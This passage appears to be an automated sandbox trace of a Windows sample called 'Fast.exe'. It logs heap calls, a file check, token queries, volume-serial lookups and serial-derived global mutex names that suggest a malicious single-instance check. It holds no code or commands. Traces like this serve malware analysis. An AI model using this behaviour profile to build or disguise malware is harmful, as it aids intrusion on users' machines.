(hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.992] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.992] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.992] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.992] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.992] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.992] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.995] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.995] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.995] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.995] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0071.995] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 Process: id = "2" image_name = "fast.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe" page_root = "0x3585f000" os_pid = "0x87c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa84" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xa34 [0054.502] GetProcessHeap () returned 0x870000 [0054.502] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x30) returned 0x87eb60 [0054.502] GetProcessHeap () returned 0x870000 [0054.503] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x3a80) returned 0x8860e8 [0054.508] GetProcessHeap () returned 0x870000 [0054.508] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x300) returned 0x889b70 [0054.509] GetProcessHeap () returned 0x870000 [0054.509] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10) returned 0x881658 [0054.509] GetTickCount () returned 0x115841e [0054.509] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x40f990, cchData=32 | out: lpLCData="\x03") returned 16 [0054.513] GetProcessHeap () returned 0x870000 [0054.513] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x883a48 [0054.514] GetProcessHeap () returned 0x870000 [0054.514] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x889eb0 [0054.514] GetProcessHeap () returned 0x870000 [0054.514] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88a0c8 [0054.514] GetProcessHeap () returned 0x870000 [0054.514] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88a2e0 [0054.514] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x88a2e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0054.514] GetProcessHeap () returned 0x870000 [0054.514] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a2e0 | out: hHeap=0x870000) returned 1 [0054.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jukse.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jukse.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.514] GetProcessHeap () returned 0x870000 [0054.515] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889eb0 | out: hHeap=0x870000) returned 1 [0054.515] GetProcessHeap () returned 0x870000 [0054.515] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a0c8 | out: hHeap=0x870000) returned 1 [0054.515] GetProcessHeap () returned 0x870000 [0054.515] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883a48 | out: hHeap=0x870000) returned 1 [0054.515] GetVersion () returned 0x1db10106 [0054.515] GetCurrentProcess () returned 0xffffffff [0054.515] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x40f924 | out: TokenHandle=0x40f924*=0xa0) returned 1 [0054.515] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x40f91c, TokenInformationLength=0x4, ReturnLength=0x40f920 | out: TokenInformation=0x40f91c, ReturnLength=0x40f920) returned 1 [0054.515] CloseHandle (hObject=0xa0) returned 1 [0054.515] GetProcessHeap () returned 0x870000 [0054.515] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x883a48 [0054.515] GetProcessHeap () returned 0x870000 [0054.516] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x889eb0 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88a0c8 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889eb0 | out: hHeap=0x870000) returned 1 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a0c8 | out: hHeap=0x870000) returned 1 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x883a98 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x883ac0 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x883ae8 [0054.516] GetProcessHeap () returned 0x870000 [0054.516] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x889eb0 [0054.517] GetProcessHeap () returned 0x870000 [0054.517] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889eb0 | out: hHeap=0x870000) returned 1 [0054.517] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x883ac0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.517] GetProcessHeap () returned 0x870000 [0054.517] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883ae8 | out: hHeap=0x870000) returned 1 [0054.517] GetProcessHeap () returned 0x870000 [0054.517] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883a98 | out: hHeap=0x870000) returned 1 [0054.517] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f8dc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f8dc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.518] GetProcessHeap () returned 0x870000 [0054.518] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883ac0 | out: hHeap=0x870000) returned 1 [0054.518] GetProcessHeap () returned 0x870000 [0054.518] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x30) returned 0x889eb0 [0054.519] GetProcessHeap () returned 0x870000 [0054.519] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x26) returned 0x889ee8 [0054.519] GetProcessHeap () returned 0x870000 [0054.519] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x889ee8, Size=0x4a) returned 0x889ee8 [0054.519] GetProcessHeap () returned 0x870000 [0054.519] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889eb0 | out: hHeap=0x870000) returned 1 [0054.519] GetProcessHeap () returned 0x870000 [0054.519] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ee8 | out: hHeap=0x870000) returned 1 [0054.519] GetProcessHeap () returned 0x870000 [0054.519] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1c) returned 0x883ac0 [0054.519] GetProcessHeap () returned 0x870000 [0054.519] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1c) returned 0x883ae8 [0054.519] GetProcessHeap () returned 0x870000 [0054.520] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x889ec8 [0054.520] GetProcessHeap () returned 0x870000 [0054.520] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ef0 [0054.520] GetProcessHeap () returned 0x870000 [0054.520] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x889f18 [0054.520] GetProcessHeap () returned 0x870000 [0054.520] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a6b0 [0054.520] GetProcessHeap () returned 0x870000 [0054.520] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6b0 | out: hHeap=0x870000) returned 1 [0054.520] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x889ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.520] GetProcessHeap () returned 0x870000 [0054.520] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889f18 | out: hHeap=0x870000) returned 1 [0054.520] GetProcessHeap () returned 0x870000 [0054.520] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.520] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f8c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f8c4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.521] GetProcessHeap () returned 0x870000 [0054.521] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ef0 | out: hHeap=0x870000) returned 1 [0054.521] GetProcessHeap () returned 0x870000 [0054.521] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x883e20 [0054.521] GetProcessHeap () returned 0x870000 [0054.521] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x883e68 [0054.521] GetProcessHeap () returned 0x870000 [0054.521] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x883e68, Size=0x72) returned 0x87f880 [0054.521] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0054.522] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0054.522] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0054.522] GetProcessHeap () returned 0x870000 [0054.522] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883e20 | out: hHeap=0x870000) returned 1 [0054.522] GetProcessHeap () returned 0x870000 [0054.522] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87f880 | out: hHeap=0x870000) returned 1 [0054.522] GetProcessHeap () returned 0x870000 [0054.522] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x889ec8 [0054.522] GetProcessHeap () returned 0x870000 [0054.522] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ef0 [0054.522] GetProcessHeap () returned 0x870000 [0054.522] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x889f18 [0054.522] GetProcessHeap () returned 0x870000 [0054.522] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a6b0 [0054.523] GetProcessHeap () returned 0x870000 [0054.523] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6b0 | out: hHeap=0x870000) returned 1 [0054.523] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x889ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.523] GetProcessHeap () returned 0x870000 [0054.523] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889f18 | out: hHeap=0x870000) returned 1 [0054.523] GetProcessHeap () returned 0x870000 [0054.523] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.523] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f8ac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f8ac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.523] GetProcessHeap () returned 0x870000 [0054.524] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ef0 | out: hHeap=0x870000) returned 1 [0054.524] GetProcessHeap () returned 0x870000 [0054.524] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x883e20 [0054.524] GetProcessHeap () returned 0x870000 [0054.524] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x883e68 [0054.524] GetProcessHeap () returned 0x870000 [0054.524] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x883e68, Size=0x72) returned 0x87f880 [0054.524] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xa4 [0054.524] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x102 [0054.524] CloseHandle (hObject=0xa4) returned 1 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883e20 | out: 